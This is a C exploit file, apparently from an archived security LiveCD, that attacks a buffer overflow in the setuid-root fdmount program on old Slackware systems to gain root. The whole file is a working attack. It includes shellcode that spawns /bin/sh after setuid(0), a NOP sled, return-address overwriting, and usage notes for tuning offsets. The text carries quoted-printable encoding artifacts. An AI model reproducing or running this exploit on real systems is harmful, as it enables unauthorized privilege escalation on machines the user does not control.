home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / fdmnt-smash2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  114 lines

  1. /*      
  2.    Welcome dear reader - be it scriptkiddy, whose sole intent it is to
  3.    destroy precious old Unix boxes or Assembly Wizard whose sole intent =
  4. it 
  5.    is to correct my code and send me a flame.
  6.    
  7.    The fdutils package contains a setuid root file that is used by the =
  8. floppy 
  9.    group to mount and unmount floppies. If you are not in this group, =
  10. this
  11.    exploit will not work.
  12.    
  13.    This thingy was tested on Slackware 4.0 and 7.0
  14.    
  15.    Use as: fdmount-exp [offset] [buf size] [valid text ptr]
  16.    
  17.    Since the char * text is overwritten in void errmsg(char *text) we =
  18. should
  19.    make sure that this points to a valid address (something in the .data
  20.    section should do perfectly). The hard coded one used works on my =  
  21. box,
  22.    to find the one you need use something like:
  23.    
  24.    objdump --disassemble-all $(whereis -b fdmount) | grep \<.data\> \
  25.    cut -d " " -f1
  26.    
  27.    The HUGE number of nops is needed to make sure this exploit works.
  28.    Since it Segfaults out of existence without removing /etc/mtab~ we
  29.    only get one try...
  30.    
  31.    Take care with your newly aquired EUID 0!
  32.    
  33.    Cheers go out to: #phreak.nl #b0f #hit2000 #root66
  34.    The year 2000 scriptkiddie award goed to: Gerrie Mansur
  35.    Love goes out to: Hester, Maja (you're so cute!), Dopey
  36.    
  37.    -- Yours truly,
  38.                 Scrippie - ronald@grafix.nl - buffer0verfl0w security
  39.                                             - #phreak.nl
  40. */                                          
  41.                                             
  42. #include <stdio.h>                          
  43.    
  44. #define NUM_NOPS 500
  45.  
  46. // Gee, Aleph1 his shellcode is back once more
  47.         
  48. char shellcode[] =3D
  49.    "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
  50.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  51.    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  52.    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  53.    
  54. unsigned long get_sp(void) { 
  55.    __asm__("movl %esp, %eax");
  56. }  
  57.    
  58. main(int argc, char **argv)
  59. {      
  60.    int buf_size =3D 71;
  61.    int offset=3D0, i;
  62.    
  63.    char *overflow;
  64.    char *ovoff;
  65.    long addr, ptr=3D0x0804c7d0;
  66.    
  67.    if(argc>1) offset =3D atoi(argv[1]);
  68.    if(argc>2) buf_size =3D atoi(argv[2]);
  69.    if(argc>3) ptr =3D strtol(argv[3], (char **) NULL, 16);
  70.    
  71.    printf("##############################################\n"); 
  72.    printf("# fdmount Slack 4/7 exploit  -  by Scrippie  #\n");
  73.    printf("##############################################\n");
  74.    printf("Using offset: %d\n", offset);
  75.    printf("Using buffer size: %d\n", buf_size);
  76.    printf("Using 0x%x for \"void errmsg(char *text,...)\" char *text\n", =
  77. ptr);
  78.    
  79.    if(!(overflow =3D (char = 
  80. *)malloc(buf_size+16+NUM_NOPS+strlen(shellcode)))) {
  81.       fprintf(stderr, "Outta memory - barging out\n");
  82.       exit(-1);
  83.    }
  84.    
  85.    overflow[0] =3D '/';
  86.    
  87.    for(i=3D1;i<buf_size;i++) {
  88.       overflow[i] =3D 0x90;
  89.    }            
  90.                                             
  91.    addr =3D get_sp() - offset;              
  92.                                             
  93.    printf("Resulting address: 0x%x\n", addr);
  94.    
  95.    memcpy(overflow + strlen(overflow), (void *) &addr, 4);
  96.    memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
  97.    memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
  98.    memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
  99.  
  100.    ovoff =3D overflow + strlen(overflow);
  101.    
  102.    for(i=3D0;i<NUM_NOPS;i++) {
  103.       *ovoff =3D 0x90;
  104.       *ovoff++;
  105.    }
  106.    
  107.    strcpy(ovoff, shellcode);
  108.    
  109.    execl("/usr/bin/fdmount", "fdmount", "fd0", overflow, NULL);
  110.        
  111.    return 0;
  112. }  
  113. /*                    www.hack.co.za           [18 May]*/
  114.